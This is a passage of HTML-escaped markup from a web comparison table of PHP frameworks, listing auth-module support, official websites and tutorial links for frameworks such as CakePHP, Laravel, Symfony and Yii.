scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Via TDBM or Doctrine&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v35_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v35_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v35_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v35_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Auth module&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_35&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;section&quot; id=&quot;v36_1&quot;&gt;&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v36_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v36_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Resources&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v45_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v46_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v47_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v48_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v49_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v50_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v51_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v52_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v53_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v54_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v55_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v56_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v57_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v58_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v59_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v60_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v61_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v62_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v63_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v64_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v65_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v66_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v67_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v68_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v69_36&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v70_36&quot;&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v37_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v37_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v37_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v37_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Website&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://agiletoolkit.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;agiletoolkit.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.banshee-php.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;banshee-php.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://cakephp.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;cakephp.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://clancats.io/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;clancats.io&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://codeigniter.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;codeigniter.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://codeigniter.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;codeigniter.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://fatfreeframework.com/home&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;fatfreeframework.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://fuelphp.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;fuelphp.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://jelix.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;jelix.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://kohanaframework.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;kohanaframework.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://laravel.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;laravel.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://laravel.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;laravel.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://makoframework.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;makoframework.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://mkdevs.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mkdevs.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://mouf-php.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mouf-php.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.openbiz.me/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;openbiz.me&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://phalconphp.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;phalconphp.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://phpixie.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;phpixie.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.ppi.io/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.ppi.io&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://silex.sensiolabs.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;sensiolabs.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.slimframework.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;slimframework.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://solarphp.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;solarphp.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://symfony.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;symfony.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.yiiframework.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;yiiframework.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://framework.zend.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;zend.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_37&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://zikula.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;zikula.org&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v38_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v38_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v38_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v38_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Tutorial&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.youtube.com/watch?v=eyeZhwP1LP4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://img.youtube.com/vi/eyeZhwP1LP4/1.jpg&quot; height=&quot;90&quot; width=&quot;120&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://book.cakephp.org/2.0/en/tutorials-and-examples/blog/blog.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;cakephp.org/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://clancats.io/docs/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;clancats.io/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://codeigniter.com/user_guide/tutorial/index.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;codeigniter.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://codeigniter.com/user_guide/tutorial/index.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;codeigniter.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://fatfreeframework.com/user-guide&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;fatfreeframework.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://jelix.org/articles/en/tutorials&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;jelix.org/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://kohanaframework.org/3.2/guide/kohana/tutorials&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;kohanaframework.org/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://laravel.com/docs&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;laravel.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://laravel.com/docs&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;laravel.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.developpez.com/index/redirect/14907/Introduction-au-mkframework-un-framework-PHP-simple-a-prendre-en-main-par-Michael-Bertocchi/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;developpez.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://mouf-php.com/packages/mouf/getting-things-done-basic-edition/index.md&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mouf-php.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://code.google.com/p/openbiz-cubi&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;google.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; 